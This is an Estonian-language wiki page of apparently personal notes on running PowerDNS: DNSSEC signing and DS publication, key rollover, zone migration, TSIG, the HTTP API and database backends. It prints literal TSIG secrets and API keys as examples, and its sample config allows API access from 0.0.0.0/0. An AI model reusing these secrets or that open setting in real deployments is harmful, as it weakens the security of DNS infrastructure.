 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* tagasi nsec peale viimiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil unset-nsec3 moraal.ee&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni seostamine DS sissekande abil ülevalpool oleva tsooniga===&lt;br /&gt;
&lt;br /&gt;
DNSSEC tsooni seostamiseks ülevalpool oleva tsooniga on vaja teada selliseid andmeid&lt;br /&gt;
&lt;br /&gt;
* võtme silt&lt;br /&gt;
* võtme tüüp&lt;br /&gt;
* algoritm&lt;br /&gt;
* avalik võti (või DS mis on avaliku võtme räsi vms)&lt;br /&gt;
&lt;br /&gt;
Need kõik on avalik info ja kättesaadavad domeeni pädevast nimeserverist, aga PowerDNS haldusutiliidiga saab selle küsida otsekoheselt&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Ühesõnaga, kui ise kasutatakse PowerDNS'i või partner saadab need andmed, siis allpool toodud dig käsuga tegelemist pole tarvis läbi teha. Tulemust sobib kontrollida nt aadressil http://dnsviz.net/.&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .ee tsoonis====&lt;br /&gt;
&lt;br /&gt;
Logida sisse oma kasutajaga ja valida vasakult paneelist 'Teenuste ülevaade', kõnelaluse tsooni juures pressida rohelist + märki DNSSEC tulbas. Avanenud uuel eraanil vajutada üleval sinist nuppu Aktiveeri (muutub roheliseks), vajutada võtmete nimekirjas + märki ja täita lahtrid&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-3.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* võtme silt - (antud juhul 53461), selle saab teada päringu väjundist&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey rrsig | grep DNSKEY&lt;br /&gt;
 moraal.ee.              10800   IN      RRSIG   DNSKEY 8 2 10800 20161208000000 20161117000000 53461 moraal.ee. rVy+HAzSKkTRv6...&lt;br /&gt;
&lt;br /&gt;
* võtme tüüp - KSK&lt;br /&gt;
* algoritm - 8 (RSA-SHA256)&lt;br /&gt;
* avalik võti,  selle saab teada päringu väljundist, alates Aw kuni tU= (võib sisaldada tühikuid nagu päringu vastuses on)&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey | grep 257&lt;br /&gt;
 moraal.ee. 3600 IN DNSKEY 257 3 8 AwEAAcnmmnnOlkRfK9NDYEI6F ... SD6 TQcnQstT+tU=&lt;br /&gt;
&lt;br /&gt;
Vajutada all nuppu Kinnita, muudatus kehtestub peaaegu koheselt (ehk minutite jooksul), aga kasutajaliideses öeldakse&lt;br /&gt;
&lt;br /&gt;
 DNSSEC kaitse domeenil MORAAL.EE&lt;br /&gt;
 Hetkestaatus: DNSSEC on aktiveerimata&lt;br /&gt;
 Eesootavad muutused: DNSSEC aktiveeritakse&lt;br /&gt;
&lt;br /&gt;
Teha brauseris refresh ja peab olema domeenide nimekirjas DNSSEC tulbas + asemel kilbi kujutis. Edasi läheb nn 15 minutit kuni muudatus zone.ee juurest eestiinternet.ee juurde jõuab ning kehtestub ee. tld (top level domain) nimeserverites. Kontrolliks maksab küsida tld nimeserverilt ds kirjet&lt;br /&gt;
&lt;br /&gt;
 $ dig +short @ns.tld.ee moraal.ee ds&lt;br /&gt;
 30607 8 2 EAC8A17DD2128573F08EE76C18B4AB01734467CD4A376768F5358B0C A2B9463F&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .org tsoonis====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-6.gif]]&lt;br /&gt;
&lt;br /&gt;
====GoDaddy keskkonnas====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===DNSSEC võtmete asendamine===&lt;br /&gt;
&lt;br /&gt;
====ZSK====&lt;br /&gt;
&lt;br /&gt;
====KSK====&lt;br /&gt;
&lt;br /&gt;
KSK moodi võtme lisamiseks sobib öelda, selliselt võib tsooniga siduda ka enam kui kaks võtit&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtmed paistavad käsu väljundis&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab dnsviz keskkonnas selline pilt&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtme eemaldamiseks sobib öelda, kus ID on show-zone väljundist välja valitud võtme ID väärtus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil remove-zone-key moraal.ee ID&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/howtos/#zsk-rollover&lt;br /&gt;
&lt;br /&gt;
===Mitmesugused haldusprotseduurid===&lt;br /&gt;
&lt;br /&gt;
====tsooni backend muutmine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Tsooni migreerimiseks suvalisest AXFR-võimelisest nimeserverist sobib&lt;br /&gt;
&lt;br /&gt;
* kirjeldada PowerDNS peal slave&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-slave-zone moraal.ee 10.0.6.15&lt;br /&gt;
 Feb 21 22:09:52 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Creating slave zone 'moraal.ee', with master(s) '10.0.6.15:53'&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmed axfr abil üle, kopeerimist kiirendab&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
&lt;br /&gt;
* muuta PowerDNS tsooni jaoks masteriks, öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; UPDATE domains set type='MASTER' where type='SLAVE';&lt;br /&gt;
&lt;br /&gt;
Kui allikaks on nt BIND ning tsoonifailis on kasutatud generate konstruktsiooni, siis need lahenduvad automaatselt ära&lt;br /&gt;
&lt;br /&gt;
 $GENERATE 1-255 $ IN CNAME $.1-255.40.184.10.in-addr.arpa.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/migration/&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Analoogiliselt eelmisele punktile, aga&lt;br /&gt;
&lt;br /&gt;
* esmalt lülitada dnssec välja, kustutades DS kirje parent tsoonist ja oodates vähemalt DS kirje TTL aja enne järgmise punkti juurde asumist; seejärel on tsooni sisu endine st vanade võtmetega signeeritud andmestik&lt;br /&gt;
* tegevused eelmises punktis + uute võtmetega krüptimine&lt;br /&gt;
* asuda kasutama uute võtmetega krüptitud tsooni sisu, ja oodata nt 6 tundi&lt;br /&gt;
* juurutada parent tsoonis uus DS kirje&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla OpenDNSSEC keskkonnast koos vana KSK krüptomaterjaliga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et OpenDNSSEC kasutab SoftHSM backendi saab KSK krüptomaterjalid eksportida ja taaskasutada. Ettevalmistuseks tuleb kõnealune tsoon muus osas tavalisel viisil kasutusele võtta. SoftHSM pealt krüptomaterjali eksportimiseks tuleb esmalt teha kindlaks kolm väärust&lt;br /&gt;
&lt;br /&gt;
* SoftHSM label ja pin vaadata nt /etc/opendnssec/conf.xml failist&lt;br /&gt;
* kõnealuse tsooni ksk võtme id, vaadata KSK active realt tulp 'CKA_ID'&lt;br /&gt;
&lt;br /&gt;
 # ods-ksmutil key list -v&lt;br /&gt;
&lt;br /&gt;
sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # softhsm --export moraal.ee-ksk.pem --slot 0 --label &amp;quot;vaartus&amp;quot; --pin vaartus --id vaartus&lt;br /&gt;
 The key pair has been written to moraal.ee-ksk.pem&lt;br /&gt;
&lt;br /&gt;
teisendada nn BIND kujule&lt;br /&gt;
&lt;br /&gt;
 # softhsm-keyconv --tobind --in ksk.pem --name moraal.ee --ksk --algorithm RSASHA256&lt;br /&gt;
 The private key has been written to Kmoraal.ee+008+09122.private&lt;br /&gt;
 The public key has been written to Kmoraal.ee+008+09122.key&lt;br /&gt;
&lt;br /&gt;
ning võtta kasutusele PowerDNS juures&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil import-zone-key moraal.ee Kksk+008+53675.private active ksk&lt;br /&gt;
&lt;br /&gt;
Edasi seadistatakse DNSSEC analoogliselt nagu seada ikka PowerDNS puhul seadistatakse. Kusjuures 'pdnsutil import-zone-key ...' tulemus on sarnane nagu oleks öeldud&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.molnar-peter.hu/en/&lt;br /&gt;
&lt;br /&gt;
====pdns-control utiliidi kasutamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS kus on master tsoon saadab notify oma slavedele (nagu on tsoonifaili NS kirjetes kirjas)&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify &amp;lt;domain&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või näidatud ip aadressile&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify-host &amp;lt;domain&amp;gt; &amp;lt;ip-address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===TSIG kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimeserverite vahelise tsooniedastuse juures TSIG juurutamiseks tuleb esmalt tekitada võti&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil generate-tsig-key from_dns_to_itm hmac-sha256&lt;br /&gt;
 Generating new key with 64 bytes (this can take a while)&lt;br /&gt;
 Nov 26 13:10:37 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Create new TSIG key from_dns_to_itm hmac-sha256 WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
ning seejärel võti ühe või enama tsooniedastusega seostada&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil activate-tsig-key moraal.ee from_dns_to_itm master&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
Nov 26 14:09:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
This is a Master zone&lt;br /&gt;
Last SOA serial number we notified: 2016112602 == 2016112602 (serial in the database)&lt;br /&gt;
Zone is not actively secured&lt;br /&gt;
Zone has following allowed TSIG key(s): from_dns_to_itm&lt;br /&gt;
Metadata items: &lt;br /&gt;
        SOA-EDIT-API    DEFAULT&lt;br /&gt;
        TSIG-ALLOW-AXFR from_dns_to_itm&lt;br /&gt;
No keys for zone 'moraal.ee'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kontrolliks sobib kopeerida öeldes&lt;br /&gt;
&lt;br /&gt;
 $ dig @192.168.1.248 moraal.ee axfr -y &amp;quot;hmac-sha256:from_dns_to_itm:WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures vastuses on üks preudokirje lisaks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 from_dns_to_itm.        0       ANY     TSIG    hmac-sha256. 1480164029 300 32 t96WhnpNiAiL5KHXa8UzNthM6/p3ciQptF3Br2ZfhFk= 3538 NOERROR 0&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Sama TSIG võtit saab kasutada mitme tsooni jaoks ja nii on mugavam nt NSD patternit kasutada&lt;br /&gt;
* tundub, et tsooni jaoks TSIG juurutamisega kaasneb, et tsooni kopeerimise ip piirang enam ei kehti (lubatud ip pealt pöördudes ei ole võtme esitamine vajalik)&lt;br /&gt;
* kui tsooni juures on tsig sisse lülitatud, siis see mõjub nii notify kui xfr jaoks&lt;br /&gt;
* TSIG pseudokirjete arv suureneb vastavalt tsooni mahu suurenemisele, https://tools.ietf.org/html/rfc2845 'The TSIG MUST be included on the first and last DNS envelopes.  It can be optionally placed on any intermediary envelopes. It is expensive to include it on every envelopes, but it MUST be placed on at least every 100'th envelope.'&lt;br /&gt;
&lt;br /&gt;
Alternatiiv on kasutada -y asemel -k suvandit ja argumendiks failinime, faili sisuga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
key &amp;quot;from_yks_to_teine&amp;quot; {&lt;br /&gt;
algorithm HMAC-SHA256;&lt;br /&gt;
secret &amp;quot;YY8xvlL6yGjrt1G4xlfLBaidQOFdvixHgRXN6tXUPMitEKZUs7kl7qixJ0nSN1bbDJQxaFGkoKkBamNS7EPXbw==&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===API kasutamine===&lt;br /&gt;
&lt;br /&gt;
Üle API muudatuse tegemiseks peab eelnevalt PowerDNS serveris lülitama API sisse ning sisemise webserver käivitama&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.conf&lt;br /&gt;
 ..&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=apiparool&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ja kasutama nt sellist skripti (töökohaarvutis on seejuures abil kasutada nt jq utiliiti)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat pdns-api.sh&lt;br /&gt;
curl -X PATCH --data \&lt;br /&gt;
'{&amp;quot;rrsets&amp;quot;: &lt;br /&gt;
  [{ &amp;quot;name&amp;quot;: &amp;quot;www.moraal.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [{ &amp;quot;content&amp;quot;: &amp;quot;192.168.254.5&amp;quot;, &amp;quot;disabled&amp;quot;: false }],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 86000,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;A&amp;quot;,&lt;br /&gt;
      &amp;quot;changetype&amp;quot;: &amp;quot;REPLACE&amp;quot;&lt;br /&gt;
  }]&lt;br /&gt;
}' -H 'X-API-Key: midagisalajast123' http://192.168.1.248:8081/api/v1/servers/localhost/zones/moraal.ee. | jq .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
kas käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 $ sh pdns-api.sh&lt;br /&gt;
&lt;br /&gt;
API'ga tutvumiseks võib olla hea mõte kuulata pealt mingi olemasoleva API-rakenduse ja serveri vahelist liiklust ja siis seda Wireshark abil uurida.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/httpapi/README/ - tundub, et süntaks pole seal kõigis näidetes päris korrektne&lt;br /&gt;
&lt;br /&gt;
===PowerDNS kasutusstatistika===&lt;br /&gt;
&lt;br /&gt;
PowerDNS sisaldab sisemist veebiserverit, mille käest saab küsida teenuse kasutusstatistikat, TODO.&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et vaikimisi logitakse syslog'i.&lt;br /&gt;
&lt;br /&gt;
===Varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine operatsioonisüsteemi paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öelda, tuleb paigalda üldosa + mingi backend, nt BIND-ühilduvate tsoonifailide käsitlemise komponent (st failisüsteem)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-bind&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib failisüsteemi&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/pdns.conf - peamine seadistusfail&lt;br /&gt;
&lt;br /&gt;
====MySQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====pdns-backend-mysql paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et MySQL baas juba töötab samas arvutis, sobib paigaldamiseks sobib öelda (seejuures kasutades db-config sistemat, mis paigaldamise käigus tekitab create database baasi, kasutaja, sätib privileegid jne)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-backend-mysql&lt;br /&gt;
 ..&lt;br /&gt;
 Determining localhost credentials from /etc/mysql/debian.cnf: succeeded.&lt;br /&gt;
 dbconfig-common: writing config to /etc/dbconfig-common/pdns-backend-mysql.conf&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/dbconfig-common/pdns-backend-mysql.conf with new version&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/powerdns/pdns.d/pdns.local.gmysql.conf with new version&lt;br /&gt;
 checking privileges on database pdns for pdns@localhost: user creation needed.&lt;br /&gt;
 granting access to database pdns for pdns@localhost: success.&lt;br /&gt;
 verifying access for pdns@localhost: success.&lt;br /&gt;
 creating database pdns: success.&lt;br /&gt;
 verifying database pdns exists: success.&lt;br /&gt;
 populating database via sql...  done.&lt;br /&gt;
 dbconfig-common: flushing administrative password&lt;br /&gt;
 Processing triggers for libc-bin (2.24-3) ...&lt;br /&gt;
 Processing triggers for pdns-server (4.0.1-5) ...&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
* tekitatakse MySQL kasutaja pdns&lt;br /&gt;
* tekitatakse MySQL create database pdns&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tundub, et otsekoheselt failisüsteemis tsoonifaili redigeerimise teel on mõeldav töötada ainult BIND-formaadis backendiga. Muudega tuleks kasutada pdnsutil utiliiti või API liidest. Tsoonide nimekiri kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/named.conf&lt;br /&gt;
 # Debian default: supermaster created zones are written here:&lt;br /&gt;
 include &amp;quot;/var/lib/powerdns/supermaster.conf&amp;quot;;&lt;br /&gt;
 # Example for a manually configured slave zone:&lt;br /&gt;
 #&lt;br /&gt;
 zone &amp;quot;example.net&amp;quot; {&lt;br /&gt;
    file &amp;quot;/var/lib/powerdns/zones.slave.d/example.net.zone&amp;quot;;&lt;br /&gt;
    type master;&lt;br /&gt;
    masters { 192.0.2.53; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Tsoon kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/powerdns/zones.slave.d/example.net.zone&lt;br /&gt;
 $TTL 180&lt;br /&gt;
 @           IN    SOA     ns1.example.net.      hostmaster.example.net. (&lt;br /&gt;
                        2014080705      ; Serial Number (date YYYYMMDD++)&lt;br /&gt;
                        86400           ; Refresh (24 hours)&lt;br /&gt;
                        1800            ; Retry (1/2 hour)&lt;br /&gt;
                        3600000         ; Expire (42 days)&lt;br /&gt;
                        21600)          ; Minimum (6 hours)&lt;br /&gt;
                        IN      NS      ns1.example.net.&lt;br /&gt;
                        IN      NS      ns2.example.net.&lt;br /&gt;
 &lt;br /&gt;
 @           IN    A       192.168.0.15&lt;br /&gt;
             IN    MX   10 mail.example.net.&lt;br /&gt;
 www         IN    A       192.168.0.15&lt;br /&gt;
 mail        IN    A       192.168.0.2&lt;br /&gt;
 ns1         IN    A       10.1.1.171&lt;br /&gt;
 ns2         IN    A       10.1.1.172&lt;br /&gt;
 imre        IN    A       10.1.1.173&lt;br /&gt;
&lt;br /&gt;
Muudatuse kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control bind-reload-now example.net&lt;br /&gt;
 example.net:    parsed into memory at 2016-10-26 20:43:14 +0300&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
pdns-backend-bind seadistatakse failist&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.d/bind.conf &lt;br /&gt;
 launch+=bind&lt;br /&gt;
 bind-config=/etc/powerdns/named.conf&lt;br /&gt;
 bind-supermaster-config=/var/lib/powerdns/supermaster.conf&lt;br /&gt;
 bind-supermaster-destdir=/var/lib/powerdns/zones.slave.d&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/named.conf - tsoonide nimekiri&lt;br /&gt;
* /var/lib/powerdns/supermaster.conf - lihtsal juhul tühi&lt;br /&gt;
* /var/lib/powerdns/zones.slave.d - BIND formaadis tsoonifailide kataloog&lt;br /&gt;
&lt;br /&gt;
Tsoonide haldamisega tegeleb edasi allpool olev punkt.&lt;br /&gt;
&lt;br /&gt;
====Poweradmin====&lt;br /&gt;
&lt;br /&gt;
Märkus: tõenäoliselt ei ole Poweradmin tarvkara kasutamine hea mõte kuna rakendus sodib otse PowerDNS andmebaasis ja 2016 aasta sügisel on hakanud tekkima paremaid alternatiive, nt nsedit.&lt;br /&gt;
&lt;br /&gt;
Poweradmin kasutamiseks peab PowerDNS kasutama SQL andmebaasi ja Poweradmin peab töötama vastu sama andmebaasi. Tundub, et Poweradmin töötab paremini MySQL + PHP5 keskkonnas. Kui Poweradmin PHP rakendus töötab teises arvutis kui MySQL baas, sobib baasis öelda&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'%' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'localhost' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; flush privileges;&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
 Added retrieval request for 'moraal.ee.' from master 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-powerdns-with-a-mariadb-backend-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
====Tsooni andmestikust otsing====&lt;br /&gt;
&lt;br /&gt;
* Kõigi forward tsoonide sisust ip aadressi kasutamise leidmine&lt;br /&gt;
&lt;br /&gt;
 # for i in `pdns_control list-zones | grep -v All | grep -v in-addr`; do pdnsutil list-zone $i 2&amp;gt;&amp;amp;1 ; done | grep 10.20.123.154&lt;br /&gt;
 ftp.moraal.ee	300	IN	A	10.20.123.154&lt;br /&gt;
&lt;br /&gt;
===2024 aasta kevade tähelepanekud===&lt;br /&gt;
&lt;br /&gt;
Eesmärk&lt;br /&gt;
&lt;br /&gt;
* ühe operatsioonisüteemi peal kompaktselt lahenduse pidamine - Debian v. 12&lt;br /&gt;
* dns server - PowerDNS&lt;br /&gt;
* webgui haldusliides - PowerDNS-Admin (PDA)&lt;br /&gt;
* dnssec võimekus&lt;br /&gt;
* docker abil kasutatakse konteinerit (PDA)&lt;br /&gt;
* andmeid hoitakse PostgreSQL andmebaasis&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* dnssec kasutab algoritmi nr 13&lt;br /&gt;
* NSEC3 kasutab '1 0 0 -' seadistust&lt;br /&gt;
* sekundaarsete nimeserveritega suhtlemine toimub catalog-zones abil&lt;br /&gt;
* kasutatakse KSK/ZSK ja CSK lähenemist võtmete pidamisel&lt;br /&gt;
&lt;br /&gt;
Protseduuride võimekus&lt;br /&gt;
&lt;br /&gt;
* NSEC, NSEC3 ja NSEC3 param väärtuste muutmine&lt;br /&gt;
* võtme vahetus&lt;br /&gt;
* krüptimise algoritmi vahetus&lt;br /&gt;
&lt;br /&gt;
====Platvormi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
Platvorm koosneb&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 operatsioonisüsteem&lt;br /&gt;
* Docker Community Edition&lt;br /&gt;
* PostgreSQL v. 12&lt;br /&gt;
* NginX&lt;br /&gt;
&lt;br /&gt;
PostgreSQL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-common&lt;br /&gt;
root@pdns:/tmp# mkdir /etc/postgresql-common/createcluster.d&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;initdb_options = '--data-checksums'&amp;quot; &amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;create_main_cluster = false&amp;quot; &amp;gt;&amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-16&lt;br /&gt;
root@pdns:/tmp# pg_createcluster --locale en_US.UTF-8 16 pgcluster_pdns_prod&lt;br /&gt;
 &lt;br /&gt;
postgres=# \x&lt;br /&gt;
Expanded display is on.&lt;br /&gt;
postgres=# \l postgres&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+------------&lt;br /&gt;
Name              | postgres&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
ICU Locale        | &lt;br /&gt;
ICU Rules         | &lt;br /&gt;
Access privileges | &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pdns login;&lt;br /&gt;
sql&amp;gt; \password pdns&lt;br /&gt;
sql&amp;gt; create database db_pdns owner = pdns;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pda login;&lt;br /&gt;
sql&amp;gt; \password pda&lt;br /&gt;
sql&amp;gt; create database db_pda owner = pda;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS paigaldamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS ise ja tema tööks otseselt vajalikud komponendid (nt PostgreSQL andmebaas) töötavad nö tavalisel viisil operatsioonisüsteemi protsesside-teenustena st mitte-konteineritena.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install pdns-server pdns-backend-pgsql pdns-tools&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitatakse pdns server ja tema bind backend.&lt;br /&gt;
&lt;br /&gt;
